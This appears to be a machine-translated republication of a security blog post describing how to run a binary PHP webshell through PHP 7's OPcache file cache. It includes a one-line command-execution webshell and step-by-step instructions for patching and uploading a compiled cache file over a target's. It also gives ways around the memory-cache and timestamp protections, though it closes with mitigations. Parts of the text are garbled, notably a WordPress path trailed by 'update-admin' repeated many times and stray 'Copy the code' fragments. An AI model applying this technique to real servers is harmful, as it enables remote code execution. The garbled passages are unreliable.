Her0in 2016/04/29 11:45

from:http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/

When PHP 7.0 was released, a number of PHP developers were concerned about performance improvements. After the introduction of OPcache, PHP performance improved significantly, and many developers began to use OPcache as a PHP application accelerator. While OPcache brings good performance, it also brings new security risks. Here is a GoSecure blog post on how to execute PHP code with OPcache 7.0.

This article introduces a new way to implement attacks in PHP7 using the default OPcache engine. Using this attack vector, an attacker can bypass the “Web directory forbids file reads and writes” restriction or execute his own malicious code.

0x00 OPcache Usage Description


OPcache is a cache engine built into PHP 7.0. It compiles the PHP script file into bytecode and puts the bytecode into memory.

Use PHP7 to speed up Web applications

See the OPcache file format here.

It also provides cached files in the file system. In php.ini, you need to specify a cache directory:

opcache.file_cache=/tmp/opcache
Copy the code

In the specified directory, OPcache stores compiled PHP script files in the same directory structure as the Web directory. For example, the cache of the compiled /var/www/index.php file will be stored in/TMP /opcache/[system_id]/var/www/index.php.bin.

System_id is the current PHP version number, the Zend extension version number, and the MD5 hash value for each data type size. In the latest version of Ubuntu (16.04), system_id is through the Zend and PHP version number calculated, its value is 81 d80d78c6ef96b89afaadc7ffc5d7ea. This hash value is most likely used to ensure binary cache file compatibility across installations. This directory is created when OPcache first caches the file. Later in this article, we’ll see that each OPcache file has system_id stored in its header. Interestingly, the user running the Web service has write permission on all subdirectories and files in the OPcache cache directory (e.g. / TMP/OPcache /).

#! shell $ ls /tmp/opcache/ drwx------ 4 www-data www-data 4096 Apr 26 09:16 81d80d78c6ef96b89afaadc7ffc5d7eaCopy the code

As you can see, the www-data user has write permission to the OPcache cache directory, so we can execute malicious code by replacing the existing cache file in the OPcache cache directory with a compiled Webshell cache file.

0x01 OPcache Utilization Scenario


To execute code with OPcache, we need to find the OPcache cache directory (e.g. / TMP/OPcache /[system_id]) and the Web directory (e.g. /var/www/). Assume that the target site already has a file that executes the phpInfo () function. From this file, we can get the OPcache cache directory, the Web directory, and several field values needed to calculate system_id. I wrote a script that uses phpInfo () to calculate system_id.

Also note that the target site must have a file upload vulnerability. Suppose php.ini configures opcache with the following options:

opcache.validate_timestamp = 0 ; Opcache. file_cache_only = 1; opcache.file_cache_only = 1; PHP 7 defaults to 0 opcache.file_cache = / TMP /opcacheCopy the code

At this point, we can use the upload vulnerability to upload the file to the Web directory, but found that the Web directory does not have read and write permissions. At this point, you can run webshell for a binary cache file of webshell by replacing/TMP /opcache/[system_id]/var/ WWW /index.php.bin.

  1. Create the webshell file index.php locally as follows:

    #! php <? php system($_GET['cmd']); ? >Copy the code
  2. In the php.ini file, set opcache.file_cache to the cache directory you want to specify

  3. Run the PHP server (php-s 127.0.0.1:8080) and send a request to index.php (wget 127.0.0.1:8080) to trigger the cache engine for file caching.

  4. Open the cache directory you have set. The index.php.bin file is the compiled binary webshell cache file.

  5. Change the system_id in the header of the index.php.bin file to the system_id of the target site. After the signature section in the file header is the value of system_id.

  6. Bin is uploaded to/TMP /opcache/[system_id]/var/ WWW /index.php.bin, overwriting the original index.php.bin

  7. Revisit index.php and now we have our Webshell running

There are at least two configurations in php.ini to protect against this type of attack.

  • Disable file_cache_only
  • Enable validate_timestamp

0x02 Bypassing memory Cache (file_cache_only = 0)


If memory caching takes precedence over file caching, the OPcache file (webshell) rewritten will not be executed. However, this limitation can be circumvented when the Web server is restarted. When the server restarts and the in-memory cache is empty, OPcache fills the in-memory cache with data from the file cache so that webShell can be executed.

However, this method is weak and requires a server restart. Is there a way to execute webshell without a server restart?

Later, I found that in frameworks such as WordPress, many obsolete files were still accessible in the release. Such as: registration – functions provides. PHP

Since these files are out of date, they will not be loaded when the Web server is running, which means they have no file or memory cache contents. /wp-includes/registration-functions.php/update-admin/update-admin/update-admin/update-admin/update-admin/update-admin/update-admin/update-admin/update-admin/update-admin OPcache will load the registration-functions.php.bin cache file we uploaded.

0x03 Time stamps are bypassed (validate_timestamps = 1)


If timestamp verification is enabled on the server, OPcache verifies the timestamp of the requested PHP source file against the timestamp of the corresponding cache file. If the two timestamps do not match, the cache file is discarded and a new cache file is generated. To circumvent this limitation, an attacker must know the timestamp of the target source file. As mentioned above, in frameworks such as WordPress, the timestamps of many source files do not change when zip or tar packages are decompressed.

Notice that some files have not been modified since 2012, such as registration-functions.php and registration.php. As a result, these files are the same across multiple versions of WordPress. Knowing the timestamp, an attacker can bypass the validATE_timestamps limit, successfully overwrite cached files, and execute webshell. The binary cache file is timestamp at 34 byte offset.

0 x04 summary


The new attack vector OPcache provides some ways to bypass the restriction. But it’s not a generic PHP vulnerability. With the increasing popularity of PHP 7.0, it will be important to audit your code to avoid upload vulnerabilities. And check for possible dangerous configuration items.